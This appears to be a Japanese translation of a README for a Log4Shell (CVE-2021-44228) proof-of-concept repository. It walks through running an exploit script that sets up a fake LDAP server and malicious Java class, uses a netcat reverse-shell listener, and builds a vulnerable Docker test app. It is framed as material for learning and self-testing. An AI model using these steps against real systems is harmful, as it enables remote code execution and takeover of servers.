
最近発見された CVE-2021-44228 脆弱性の Proof-Of-Concept です。
最近、log4j(Java のロギングライブラリで、Elasticsearch、Minecraft など非常に広く使用されています)に新たな脆弱性が見つかりました。
このリポジトリには、脆弱なサンプルアプリケーションとその Proof-Of-Concept (PoC) エクスプロイトが含まれています。
PoC として、プロセスを自動化する Python ファイルがあります。
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20 であり、同じディレクトリに存在する必要があります。$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[+] Exploit java class created success
[+] Setting up fake LDAP server
Listening on 0.0.0.0:1389
このスクリプトは HTTP サーバと LDAP サーバをセットアップし、脆弱なパラメータに貼り付けるためのペイロードも作成します。その後、すべてがうまくいけば、lport でシェルを取得できるはずです。
脆弱な Web アプリケーション用の Dockerfile が用意されています。以下の手順で使用できます。
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
起動したら、localhost:8080 でアクセスできます。
Oracle は過去のすべての Java バージョンのアーカイブを提供しています:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
8u20 までスクロールし、お使いのオペレーティングシステムとハードウェアに適したファイルをダウンロードしてください。

注: パッケージをダウンロードするにはアカウントを作成する必要があります。
アーカイブをダウンロードして展開すると、jdk1.8.0_20/bin に java と関連するいくつかのバイナリがあります。
注: 機能させるために、JDK フォルダをこのリポジトリに同じ名前で展開してください。
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
このリポジトリは、CVE-2021-44228 に対するワンクリックエクスプロイトを意図したものではありません。このプロジェクトの目的は、この脆弱性について学び、自身のアプリケーションをテストする(ただし、この目的にはより優れたアプリケーションがあります。例: https://log4shell.tools/)人々を支援することです。